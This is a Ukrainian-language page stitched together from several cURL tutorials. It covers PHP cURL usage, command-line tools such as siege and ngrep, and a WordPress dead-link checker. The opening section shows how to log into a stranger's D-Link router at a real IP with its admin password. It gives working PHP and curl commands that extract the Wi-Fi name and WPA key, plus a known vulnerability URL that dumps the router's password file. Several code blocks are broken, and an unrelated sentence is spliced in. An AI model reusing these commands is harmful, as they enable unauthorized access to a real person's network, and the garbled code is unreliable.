Ми дивимося на властивість action. Тобто. кінцевою сторінкою є login.php. Нам потрібна повна адреса, наприклад така http://188.35.8.64:8080/login.php

Тут же ми знаходимо і метод відправлення: method="post"

Логін та пароль я теж знаю: admin та qwerasdfzxcv

Про всяк випадок — це не мій роутер (і я не знаю чий), тому якщо ви хочете досадити саме мені, то не потрібно паскудити на цьому роутері.

Тобто. на сервер із форми передається рядок методом POST. Теоретично, наш попередній скрипт, до якого ми додали новий рядок, має працювати. Тобто. має відбуватися аутентифікація.

0) ( echo "Помилка curl: " . curl_error($ch); ) else ( ) curl_close($ch); ?>

У скрипті новий рядок

curl_setopt($ch, CURLOPT_POSTFIELDS, "LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv");

Тут curl_setopt— вже знайома нам функція встановлення опцій для cURL, CURLOPT_POSTFIELDS- Це ім'я опції, яку ми встановлюємо. CURLOPT_POSTFIELDSмістить усі дані, що передаються методом POST. Ну і сам рядок LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv— це ті дані, які ми передаємо.

Якщо уважно вивчити форму, можна побачити, що вона містить і приховані поля. А ще дані можуть оброблятися або доповнюватися JavaScript. Можна зайнятися вивченням всього цього, але я віддаю перевагу більш простий спосіб.

Я використовую Wireshark. Ця програма призначена для сніфінгу (перехоплення) трафіку. І саме в ній дуже зручно дивитися, що саме передається на сайт.

Подивіться це крихітне відео:

Тобто. з адресою, куди передаються дані, я вгадав. А ось рядок, що передається, виявився набагато складнішим.

Я вписав правильний параметр, а також трохи допрацював скрипт, щоб він не просто авторизувався, а й дещо отримував з роутера:

0) ( echo "Помилка curl: " . curl_error($ch); ) else ( $target_url2 = "http://188.35.8.64:8080/bsc_wlan.php"; $ch2 = curl_init($target_url2); ch2, CURLOPT_RETURNTRANSFER, 1); $response_data2 = curl_exec($ch2); .ssid.value = "", "", $results2); $results2 = str_replace("";", "", $results2); echo "Ім'я wi-fi мережі: $results2
"; preg_match("|f_wpa.wpapsk1.value(.*)";|", $response_data2, $results3); $results3 = str_replace("f_wpa.wpapsk1.value", "", $results3); $results3 = str_replace("="", "", $results3); $results3 = str_replace("";", "", $results3); echo "Пароль wi-fi мережі: $results3"; ) curl_close($ch); ?>

До речі, якщо власник оновить пароль (але не оновить прошивку), новий пароль завжди можна подивитися за адресою http://188.35.8.64:8080/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd

(Це загальновідома вразливість роутерів D-Link DIR-300, D-Link DIR-320 та D-Link DAP-1353).

HTTP автентифікація cURL у командному рядку

Повну адресу, а також рядок, який потрібно передати, ми вже знаємо. Тому все просто:

Curl --data "ACTION_POST=LOGIN&FILECODE=&VERIFICATION_CODE=&LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv&login=Log+In+&VER_CODE=" http://188.35.8.64:8080/login.php

Думаю, все і так зрозуміло, тому що ці терміни ми вже розглянули. Якщо комусь незрозуміло — питайте у коментарях.

Прикладом використання cURL для отримання та парсингу даних може стати наступний набір команд:

Curl -s --data "ACTION_POST=LOGIN&FILECODE=&VERIFICATION_CODE=&LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv&login=Log+In+&VER_CODE=" http://188.35.8.64:8080/login.php > /nv/ "&& echo "Ім'я мережі Wi-Fi" && curl -s http://188.35.8.64:8080/bsc_wlan.php | grep -E "f.ssid.value = "(.)*";" | sed "s/f.ssid.value = "//" | sed "s/";//" && echo "Пароль мережі Wi-Fi" && curl -s http://188.35.8.64:8080/bsc_wlan.php | grep -E "f_wpa.wpapsk1.(.)*";" | sed "s/f_wpa.wpapsk1.value//" | sed "s/";//" | sed "s/="//"

Складні випадки авторизації: AJAX, JQuery, JavaScript тощо.

Дані заголовок правильніше було б написати так: "Складні" випадки авторизації. Тобто. слово "складні" взяти в лапки. Складними вони бачаться лише з погляду, коли незрозуміло: куди відбувається відправка, які імена полів, що саме вирушає тощо.

Але насправді всі вони зводяться до методів POST або GET. Щоб зрозуміти, що саме відправляється, можна зберегти сторінку з формою собі на диск і кнопку відправки повісити функцію показу сформованих для відправки даних. Або ще простіше - як я, Wireshark"ом.

Якщо дані правильні, а автентифікація не відбувається, потрібно копати в наступних напрямках:

• задати правильний рядок реферера
• задати «правильний» рядок користувача агента.

Все це можна зробити базовими методами cURL, але я не на цьому зупинятимуся. Урок вийшов і без того великим, адже я ще хотів показати пару трюків із cURL.

Типси та трикси cURL

cURL та отримання кукіз крім CURLOPT_COOKIEJAR

Думаю, вже стало зрозуміло, що cURL правильно обробляє куки - зберігає їх, використовує, коли сервер запитує, і т. д. Але іноді кукі потрібно зберегти. Для цього є опція CURLOPT_COOKIEJAR, але користуватися нею можна не завжди. Цьому і присвячено наш перший трюк.

Іноді через особливості налаштування PHP на сервері нам недоступні такі опції як CURLOPT_COOKIEJAR (дозволяє зберегти отримані куки у файл) і CURLOPT_COOKIEFILE (дозволяє використовувати куки з файлу). Т.к. вони кажуть, що, використовуючи ці опції, ми зможемо стягнути будь-який файл з їхнього сервера. Ось вирішення цієї проблеми:

1) Не використовуємо CURLOPT_FOLLOWLOCATION

2) Використовуємо curl_setopt($ch, CURLOPT_HEADER, 1)

3) Збираємо кукізи із заголовка header приблизно так:

Preg_match_all("|Set-Cookie: (.*);|U", $content, $results); $cookies = implode(";", $results);

4) Задаємо їх за допомогою curl_setopt($ch, CURLOPT_COOKIE, $cookies);

Друга порада. З атакуючих ми можемо перетворитися на жертву. Щоб не стати жертвою атаки людина посередині, робимо так.

Будь ласка, перестаньте встановлювати налаштування CURLOPT_SSL_VERIFYPEER на false або 0. Якщо ваша установка PHP не має актуального комплекту кореневих сертифікатів CA, завантажте один на веб-сайті curl і збережіть його на ваш сервер:

Потім задайте шлях у вашому файлі php.ini file, наприклад, на Windows:

Curl.cainfo=c:phpcacert.pem

Відключення CURLOPT_SSL_VERIFYPEER дозволяє здійснити атаку людина посередині (MITM), а це нам не треба!

Ну і остання на сьогодні підказка. Чи знаєте ви, що можлива велика кількість асинхронних запитів curl?

Для цього можна використати curl_multi_init. Подробиці та приклад коду в офіційній документації http://php.net/manual/ru/function.curl-multi-init.php

Про cURL у командному рядку

Man curl

Для читання російською мовою також підготовлено другу частину уроку cURL: " ".

Гарант є довіреним посередником між Учасниками під час угоди.

Життя веб-розробника затьмарене складнощами. Особливо неприємно, коли джерело цих труднощів невідоме. Чи це проблема з надсиланням запиту, чи з відповіддю, чи зі сторонньою бібліотекою, чи зовнішній API глючить? Існує купа різних приладів, здатних спростити нам життя. Ось деякі інструменти командного рядка, які особисто я вважаю безцінними.

CURL
cURL - програма передачі даних з різних протоколів, схожа на wget. Основна відмінність у тому, що за умовчанням wget зберігає файл, а cURL виводить у командний рядок. Так можна просто подивитися контент веб-сайту. Наприклад, ось як швидко отримати свій поточний зовнішній IP:

$ curl ifconfig.me 93.96.141.93
Параметри -i(показувати заголовки) та -I(показувати тільки заголовки) роблять cURL відмінним інструментом для дебаггінгу HTTP-відповідей та аналізу того, що саме сервер вам надсилає:

$ curl -I habrahabr.ru HTTP/1.1 200 OK Server: nginx Дата: Thu, 18 Aug 2011 14:15:36 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Keep-alive: timeout=25
Параметр -Lтеж корисний, він змушує cURL автоматично слідувати за редиректами. cURL підтримує HTTP-автентифікацію, cookies, тунелювання через HTTP-проксі, ручні налаштування в заголовках та багато іншого.

Siege
Siege – інструмент для навантажувального тестування. Плюс, у нього є зручна опція -g, яка дуже схожа на curl -iL, але також показує вам ще й заголовки http-запиту. Ось приклад з google.com (деякі заголовки видалені для стислості):

$ siege -g www.google.com GET / HTTP/1.1 Host: www.google.com User-Agent: JoeDog/1.00 (X11; I; Siege 2.70) Connection: close HTTP/1.1 302 Found Location: http:// www.google.co.uk/ Content-Type: text/html; charset=UTF-8 Server: gws Content-Length: 221 Connection: close GET / HTTP/1.1 Host: www.google.co.uk User-Agent: JoeDog/1.00 (X11; I; Siege 2.70) Connection: close HTTP/ 1.1 200 OK Content-Type: text/html; charset = ISO-8859-1 X-XSS-Protection: 1; mode=block Connection: close
Але для чого Siege дійсно чудово підходить, так це для тесту навантаження. Як і апачевський бенчмарк ab, він може відправити безліч паралельних запитів до сайту та подивитися, як він справляється з трафіком. У цьому прикладі показано, як ми тестуємо Google за допомогою 20 запитів протягом 30 секунд, після чого виводиться результат:

$ siege -c20 www.google.co.uk -b -t30s ... Lifting the server siege... done. Transactions: 1400 hits Availability: 100.00 % Видалити час: 29.22 sec Data transferred: 13.32 MB Response time: 0.41 secs Transaction rate: 47.91 trans/sec Перевірка: 0.46 MB/sec Перевірка: 0.46 MB/sec transactions: 0 Longest transaction: 4.08 Shortest transaction: 0.08
Одна з найкорисніших функцій Siege - те, що вона може працювати не лише з однією адресою, а й зі списком URL з файлу. Це відмінно підходить для навантажувального тестування, тому що можна моделювати реальний трафік на сайті, а не просто натискати один і той же URL знову і знову. Наприклад, як використовувати Siege, щоб навантажити сервер, використовуючи адреси з вашого лога Apache:

$ cut -d " " -f7 /var/log/apache2/access.log > urls.txt $ siege -c -b -f urls.txt
Ngrep
Для серйозного аналізу трафіку існує Wireshark із тисячами налаштувань, фільтрів та конфігурацій. Є також версія для командного рядка tshark. Але для простих завдань функціонал Wireshark я вважаю зайвим. Так що доки мені не потрібна потужна зброя, я використовую . Він дозволяє робити з мережевими пакетами те саме, що grepробить із файлами.

Для веб-трафіку ви завжди захочете використовувати параметр -W, щоб зберегти форматування рядків, а також параметр -q, що приховує надмірну інформацію про невідповідні пакети. Ось приклад команди, яка перехоплює всі пакети з командою GET чи POST:

Ngrep -q -W byline "^(GET|POST).*"
Ви можете додати додатковий фільтр для пакетів, наприклад, за заданим хостом, IP-адресою або портом. Ось фільтр для всього вхідного та вихідного трафіку на google.com, порт 80, який містить слово “search”.

Ngrep -q -W byline "search" host www.google.com and port 80

cURL - це спеціальний інструмент, який призначений для того, щоб передавати файли та дані синтаксисом URL. Ця технологія підтримує безліч протоколів, таких як HTTP, FTP, TELNET та багато інших. Спочатку cURL було розроблено для того, щоб бути інструментом командного рядка. На щастя, бібліотека cURL підтримується мовою програмування PHP. У цій статті ми розглянемо деякі розширені функції cURL, а також торкнемося практичного застосування отриманих знань засобами PHP.

Чому cURL?

Насправді існує чимало альтернативних способів вибірки змісту веб-сторінки. У багатьох випадках, головним чином через лінощі, я використовував прості PHP функції замість cURL:

$content = file_get_contents("http://www.nettuts.com"); // чи $lines = file("http://www.nettuts.com"); // або readfile("http://www.nettuts.com");

Однак ці функції не мають фактично ніякої гнучкості та містять величезну кількість недоліків у тому, що стосується обробки помилок тощо. Крім того, існують певні завдання, які ви просто не можете вирішити завдяки цим стандартним функціям: взаємодія з cookie, автентифікація, надсилання форми, завантаження файлів тощо.

cURL - це потужна бібліотека, яка підтримує безліч різних протоколів, опцій та забезпечує докладну інформацію про URL-запити.

Базова структура

• Ініціалізація
• Призначення параметрів
• Виконання та вибірка результату
• Звільнення пам'яті

// 1. ініціалізація $ ch = curl_init(); // 2. вказуємо параметри, включаючи url curl_setopt ($ ch, CURLOPT_URL, "http://www.nettuts.com"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); // 3. отримуємо HTML як результат $output = curl_exec($ch); // 4. закриваємо з'єднання curl_close ($ ch);

Крок #2 (тобто, виклик curl_setopt()) обговорюватимемо у цій статті набагато більше, ніж інші етапи, т.к. на цій стадії відбувається все найцікавіше та корисне, що вам необхідно знати. У cURL існує величезна кількість різних опцій, які повинні бути вказані, щоб мати можливість налаштувати URL-запит найретельніше. Ми не розглядатимемо весь список цілком, а зупинимося тільки на тому, що я вважаю за потрібне і корисне для цього уроку. Решту ви зможете вивчити самі, якщо ця тема вас зацікавить.

Перевірка Помилки

Крім того, ви також можете використовувати умовні оператори для перевірки виконання операції на успіх:

// ... $ output = curl_exec ($ ch); if ($output === FALSE) ( echo "cURL Error: " . curl_error($ch); ) // ...

Тут прошу відзначити собі дуже важливий момент: ми маємо використовувати “=== false” порівняння, замість “== false”. Для тих, хто не в курсі, це допоможе нам відрізняти порожній результат від значення бульового false, яке і буде вказувати на помилку.

Отримання інформації

Ще одним додатковим кроком є ​​отримання даних про запит cURL, після того, як він був виконаний.

// ... curl_exec ($ ch); $info = curl_getinfo($ch); echo "Took". $info["total_time"] . "seconds for url". $info["url"]; // …

Повертається масив містить таку інформацію:

• "url"
• "content_type"
• "http_code"
• "header_size"
• "request_size"
• "filetime"
• "ssl_verify_result"
• "redirect_count"
• "total_time"
• "namelookup_time"
• "connect_time"
• "pretransfer_time"
• "size_upload"
• "size_download"
• "speed_download"
• "speed_upload"
• "download_content_length"
• "upload_content_length"
• "starttransfer_time"
• "redirect_time"

Виявлення перенаправлення залежно від браузера

У цьому першому прикладі ми напишемо код, який зможе виявити перенаправлення URL, що базуються на різних налаштуваннях браузера. Наприклад, деякі веб-сайти перенаправляють браузери мобільного телефону або іншого пристрою.

Ми збираємося використовувати опцію CURLOPT_HTTPHEADER для того, щоб визначити наші вихідні HTTP заголовки, включаючи назву браузера користувача та доступні мови. Зрештою, ми зможемо визначити, які сайти перенаправляють нас до різних URL.

// Тестуємо URL $urls = array("http://www.cnn.com", "http://www.mozilla.com", "http://www.facebook.com"); // тестуємо браузери $browsers = array("standard" => array ("user_agent" => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6)) Gecko/20091201 Firefox/3.5 .6 (.NET CLR 3.5.30729)", "language" => "en-us,en;q=0.5"), "iphone" => array ("user_agent" => "Mozilla/5.0 (iPhone; U ;CPU як Mac OS X; en) AppleWebKit/420+ (KHTML, як Gecko) => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 2.0.50727)", "language" => "fr,fr-FR;q=0.5")); foreach ($urls as $url) ( echo "URL: $url\n"; foreach ($browsers as $test_name => $browser) ( $ch = curl_init(); // вказуємо url curl_setopt($ch, CURLOPT_URL, $url);// вказуємо заголовки для браузера curl_setopt($ch, CURLOPT_HTTPHEADER, array("User-Agent: ($browser["user_agent"])"", "Accept-Language: ($browser["language"])"" )), // нам не потрібно зміст сторінки curl_setopt($ch, CURLOPT_NOBODY, 1); // нам необхідно отримати HTTP заголовки curl_setopt($ch, CURLOPT_HEADER, 1); 1); $output = curl_exec($ch); curl_close($ch);// Чи був HTTP редирект? $test_name: redirects to $matches\n"; ) else ( echo "$test_name: no redirection\n"; ) ) echo "\n\n";

Спочатку ми вказуємо список URL сайтів, які перевірятимемо. Точніше нам знадобляться адреси даних сайтів. Далі нам необхідно визначити налаштування браузера, щоб протестувати кожен із цих URL. Після цього ми скористаємося циклом, у якому пробіжимося за всіма отриманими результатами.

Прийом, який ми використовуємо в цьому прикладі для того, щоб задати налаштування cURL, дозволить нам отримати не зміст сторінки, а лише заголовки HTTP (збережені в $output). Далі, скориставшись простим regex, ми можемо визначити, чи був рядок “Location:” в отриманих заголовках.

Коли ви запустите цей код, то маєте отримати приблизно наступний результат:

Створення запиту POST на певну URL

При формуванні GET запиту дані можуть бути передані на URL через “рядок запиту”. Наприклад, коли ви робите пошук у Google, критерій пошуку розміщуються в адресному рядку нового URL:

Http://www.google.com/search?q=ruseller

Для того, щоб зімітувати цей запит, вам не потрібно скористатися засобами cURL. Якщо ліньки вас долає остаточно, скористайтеся функцією “file_get_contents()”, щоб отримати результат.

Але річ у тому, що деякі HTML-форми надсилають запити POST. Дані цих форм транспортуються через тіло HTTP запиту, а не як у попередньому випадку. Наприклад, якщо ви заповнили форму на форумі і натиснули на кнопку пошуку, то швидше за все буде здійснено запит POST:

http://codeigniter.com/forums/do_search/

Ми можемо написати PHP скрипт, який може зімітувати цей вид URL запиту. Спочатку давайте створимо простий файл для прийняття та відображення POST даних. Назвемо його post_output.php:

Print_r($_POST);

Потім ми створюємо PHP скрипт, щоб виконати запит cURL:

$url = "http://localhost/post_output.php"; $post_data = array ("foo" => "bar", "query" => "Nettuts", "action" => "Submit"); $ ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // вказуємо, що POST запит curl_setopt($ch, CURLOPT_POST, 1); // додаємо змінні curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); $output = curl_exec($ch); curl_close($ch); echo $output;

При запуску даного скрипту ви повинні отримати такий результат:

Таким чином, запит POST був відправлений скрипту post_output.php, який у свою чергу, вивів суперглобальний масив $_POST, зміст якого ми отримали за допомогою cURL.

завантаження файлу

Спочатку давайте створимо файл для того, щоб сформувати його та відправити файлу upload_output.php:

Print_r($_FILES);

А ось і код скрипту, який виконує вказаний вище функціонал:

$url = "http://localhost/upload_output.php"; $post_data = array ("foo" => "bar", // файл, який необхідно завантажити "upload" => "@C:/wamp/www/test.zip"); $ ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); $output = curl_exec($ch); curl_close($ch); echo $output;

Коли ви хочете завантажити файл, все, що вам потрібно зробити, так це передати його як звичайну змінну post, попередньо помістивши перед нею символ @. При запуску написаного скрипту ви отримаєте наступний результат:

Множинний cURL

Однією із найсильніших сторін cURL є можливість створення "множинних" cURL обробників. Це дозволяє відкривати з'єднання до безлічі URL одночасно і асинхронно.

У класичному варіанті cURL запиту виконання скрипта припиняється, і відбувається очікування завершення операції URL-адреси запиту, після чого робота скрипту може продовжитися. Якщо ви маєте намір взаємодіяти з безліччю URL, це призведе до досить-таки значних витрат часу, оскільки в класичному варіанті ви можете працювати тільки з одним URL за один раз. Однак ми можемо виправити цю ситуацію, скориставшись спеціальними обробниками.

Давайте розглянемо приклад коду, який я взяв із php.net:

// створюємо кілька ресурсів cURL $ch1 = curl_init(); $ ch2 = curl_init(); // вказуємо URL та інші параметри curl_setopt($ch1, CURLOPT_URL, "http://lxr.php.net/"); curl_setopt($ch1, CURLOPT_HEADER, 0); curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/"); curl_setopt($ch2, CURLOPT_HEADER, 0); //Створюємо множинний cURL обробник $mh = curl_multi_init(); //додаємо кілька обробників curl_multi_add_handle($mh,$ch1); curl_multi_add_handle($mh,$ch2); $active = null; //виконання do ( $mrc ​​= curl_multi_exec($mh, $active); ) while ($mrc == CURLM_CALL_MULTI_PERFORM); while ($active && $mrc ​​== CURLM_OK) ( if (curl_multi_select($mh) != -1) ( do ( $mrc ​​= curl_multi_exec($mh, $active); ) while ($mrc == CURLM_CALL_MULTI_PERFORM); ) ) //закриття curl_multi_remove_handle($mh, $ch1); curl_multi_remove_handle($mh, $ch2); curl_multi_close($mh);

Ідея полягає в тому, що ви можете використовувати множинні cURL обробники. Використовуючи простий цикл, ви можете відстежити, які запити не виконалися.

У цьому прикладі є два основні цикли. Перший цикл do-while викликає функцію curl_multi_exec(). Ця функція не блокується. Вона виконується з швидкістю, з якою може, і повертає стан запиту. Поки повернене значення є константою 'CURLM_CALL_MULTI_PERFORM', це означає, що робота ще не завершена (наприклад, зараз відбувається відправка http заголовків в URL); Саме тому ми продовжуємо перевіряти це значення, що повертається, поки не отримаємо інший результат.

У наступному циклі ми перевіряємо умову, доки змінна $active = "true". Це другий параметр для функції curl_multi_exec(). Значення даної змінної дорівнюватиме "true", доки одна з існуючих змін є активним. Далі ми викликаємо функцію curl_multi_select(). Її виконання "блокується", доки існує хоч одне активне з'єднання, доки не буде отримано відповідь. Коли це станеться, ми повертаємося до основного циклу, щоб продовжити виконання запитів.

А тепер давайте застосуємо отримані знання на прикладі, який буде реально корисним для великої кількості людей.

Перевіряємо посилання на WordPress

Уявіть собі блог із величезною кількістю постів та повідомлень, у кожному з яких є посилання на зовнішні інтернет ресурси. Деякі з цих посилань з різних причин могли б бути «мертвими». Можливо, сторінку було видалено або сайт зовсім не працює.

Ми збираємося створити скрипт, який проаналізує всі посилання і знайде веб-сайти, що не завантажуються, і сторінки 404, після чого надасть нам докладний звіт.

Відразу скажу, що це не приклад створення плагіна для WordPress. Це всього лише хороший полігон для наших випробувань.

Давайте нарешті почнемо. Спочатку ми повинні зробити вибірку всіх посилань із бази даних:

// Конфігурація $db_host = "localhost"; $ db_user = "root"; $db_pass = ""; $db_name = "wordpress"; $excluded_domains = array("localhost", "www.mydomain.com"); $max_connections = 10; // ініціалізація змінних $url_list = array(); $working_urls = array(); $dead_urls = array(); $not_found_urls = array(); $active = null; // підключаємося до MySQL if (!mysql_connect($db_host, $db_user, $db_pass)) ( die("Could not connect: " . mysql_error()); ) if (!mysql_select_db($db_name)) not select db: " . mysql_error()); ) // вибираємо всі опубліковані пости, де є посилання $q = "SELECT post_content FROM wp_posts WHERE post_content LIKE "%href=%" AND post_status = "publish" AND post_type = "post ""; $r = mysql_query($q) або die(mysql_error()); while ($d = mysql_fetch_assoc($r)) ( // робимо вибірку посилань за допомогою регулярних виразів if (preg_match_all("!href=\"(.*?)\"!", $d["post_content"], $ matches)) ( foreach ($matches as $url) ( $tmp = parse_url($url); if (in_array($tmp["host"], $excluded_domains)) ( continue; ) $url_list = $url; ) ) ) // забираємо дублікати $url_list = array_values(array_unique($url_list)); if (!$url_list) ( die("No URL to check"); )

Спочатку ми формуємо конфігураційні дані взаємодії з базою даних, далі пишемо список доменів, які братимуть участь у перевірці ($excluded_domains). Також ми визначаємо число, яке характеризує кількість максимальних одночасних з'єднань, які ми будемо використовувати у нашому скрипті ($max_connections). Потім ми приєднуємося до бази даних, вибираємо пости, які містять посилання, та накопичуємо їх у масив ($url_list).

Наступний код трохи складний, так що розберіться в ньому від початку до кінця:

// 1. множинний обробник $ mh = curl_multi_init (); // 2. додаємо безліч URL for ($i = 0; $i< $max_connections; $i++) { add_url_to_multi_handle($mh, $url_list); } // 3. инициализация выполнения do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); // 4. основной цикл while ($active && $mrc == CURLM_OK) { // 5. если всё прошло успешно if (curl_multi_select($mh) != -1) { // 6. делаем дело do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); // 7. если есть инфа? if ($mhinfo = curl_multi_info_read($mh)) { // это значит, что запрос завершился // 8. извлекаем инфу $chinfo = curl_getinfo($mhinfo["handle"]); // 9. мёртвая ссылка? if (!$chinfo["http_code"]) { $dead_urls = $chinfo["url"]; // 10. 404? } else if ($chinfo["http_code"] == 404) { $not_found_urls = $chinfo["url"]; // 11. рабочая } else { $working_urls = $chinfo["url"]; } // 12. чистим за собой curl_multi_remove_handle($mh, $mhinfo["handle"]); // в случае зацикливания, закомментируйте данный вызов curl_close($mhinfo["handle"]); // 13. добавляем новый url и продолжаем работу if (add_url_to_multi_handle($mh, $url_list)) { do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); } } } } // 14. завершение curl_multi_close($mh); echo "==Dead URLs==\n"; echo implode("\n",$dead_urls) . "\n\n"; echo "==404 URLs==\n"; echo implode("\n",$not_found_urls) . "\n\n"; echo "==Working URLs==\n"; echo implode("\n",$working_urls); function add_url_to_multi_handle($mh, $url_list) { static $index = 0; // если у нас есть ещё url, которые нужно достать if ($url_list[$index]) { // новый curl обработчик $ch = curl_init(); // указываем url curl_setopt($ch, CURLOPT_URL, $url_list[$index]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_NOBODY, 1); curl_multi_add_handle($mh, $ch); // переходим на следующий url $index++; return true; } else { // добавление новых URL завершено return false; } }

Тут я спробую викласти все по поличках. Числа у списку відповідають числам у коментарі.

1. 1. Створюємо множинний обробник;
2. 2. Функцію add_url_to_multi_handle() ми напишемо трохи пізніше. Щоразу, коли вона буде викликатися, почнеться обробка нового URL. Спочатку ми додаємо 10 ($max_connections) URL;
3. 3. Щоб розпочати роботу, ми повинні запустити функцію curl_multi_exec(). Доки вона повертатиме CURLM_CALL_MULTI_PERFORM, нам ще є, що робити. Це нам потрібно головним чином для того, щоб створити з'єднання;
4. 4. Далі слідує основний цикл, який буде виконуватися доти, доки ми маємо хоч одне активне з'єднання;
5. 5. curl_multi_select() зависає в очікуванні, поки пошук URL не завершиться;
6. 6. І знову ми повинні змусити cURL виконати деяку роботу, а саме, зробити вибірку даних відповіді, що повертається;
7. 7. Тут відбувається перевірка інформації. В результаті виконання запиту буде повернено масив;
8. 8. У поверненому масиві присутній cURL обробник. Його ми і будемо використовувати для того, щоб вибрати інформацію про окремий запит cURL;
9. 9. Якщо посилання було мертвим, або час виконання скрипту вийшов, то нам не слід шукати ніякого http коду;
10. 10. Якщо посилання повернуло нам сторінку 404, http код буде містити значення 404;
11. 11. Інакше перед нами знаходиться робоче посилання. (Ви можете додати додаткові перевірки на код помилки 500 тощо);
12. 12. Далі ми видаляємо cURL обробник, тому що більше його не потребуємо;
13. 13. Тепер ми можемо додати інший URL і запустити все те, про що говорили до цього;
14. 14. На цьому кроці скрипт завершує свою роботу. Ми можемо видалити все, що нам не потрібно, і сформувати звіт;
15. 15. Зрештою, напишемо функцію, яка додаватиме url в обробник. Статична змінна $index збільшуватиметься кожного разу, коли ця функція буде викликана.

Я використав цей скрипт на своєму блозі (з деякими непрацюючими посиланнями, які додав навмисне для того, щоб протестувати його роботу) і отримав наступний результат:

У моєму випадку, скрипту потрібно трохи менше 2 секунд, щоб пробігтися по 40 URL. Збільшення продуктивності є суттєвим при роботі з ще більшою кількістю URL-адрес. Якщо ви відкриваєте десять з'єднань одночасно, то скрипт може виконатися вдесятеро швидше.

Пару слів про інші корисні опції cURL

HTTP Аутентифікація

Якщо на URL-адресі є HTTP автентифікація, то ви легко можете скористатися наступним скриптом:

$url = "http://www.somesite.com/members/"; $ ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // вказуємо ім'я та пароль curl_setopt($ch, CURLOPT_USERPWD, "myusername: mypassword"); // якщо перенаправлення дозволено curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // то збережемо наші дані в cURL curl_setopt($ch, CURLOPT_UNRESTRICTED_AUTH, 1); $output = curl_exec($ch); curl_close($ch);

FTP завантаження

У PHP також є бібліотека для роботи з FTP, але вам нічого не заважає і тут скористатися засобами cURL:

// відкриваємо файл $file = fopen("/path/to/file", "r"); // У url має бути наступний зміст $url = "ftp://username: [email protected]:21/path/to/new/file"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_INFILE, $fp); // curl_setopt($ch, CURLOPT_INFILESIZE, filesize("/path/to/file")); ($ch);curl_close($ch);

Використовуємо Проксі

Ви можете виконати свій URL запит через проксі:

$ ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://www.example.com"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // вказуємо адресу curl_setopt($ch, CURLOPT_PROXY, "11.11.11.11:8080"); // якщо необхідно надати ім'я користувача та пароль curl_setopt($ch, CURLOPT_PROXYUSERPWD,"user:pass"); $output = curl_exec($ch); curl_close ($ ch);

Функції зворотного дзвінка

Також існує можливість вказати функцію, яка спрацьовуватиме ще до завершення роботи cURL запиту. Наприклад, поки вміст відповіді завантажується, ви можете почати використовувати дані, не чекаючи повного завантаження.

$ ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://net.tutsplus.com"); curl_setopt($ch, CURLOPT_WRITEFUNCTION, "progress_function"); curl_exec($ch); curl_close ($ ch); function progress_function($ch,$str) ( echo $str; return strlen($str); )

Подібна функція ПОВИННА повертати довжину рядка, що є обов'язковою вимогою.

Висновок

Сьогодні ми познайомилися з тим, як можна застосувати бібліотеку cURL у своїх корисливих цілях. Я сподіваюся, що вам сподобалася ця стаття.

Дякую! Вдалого дня!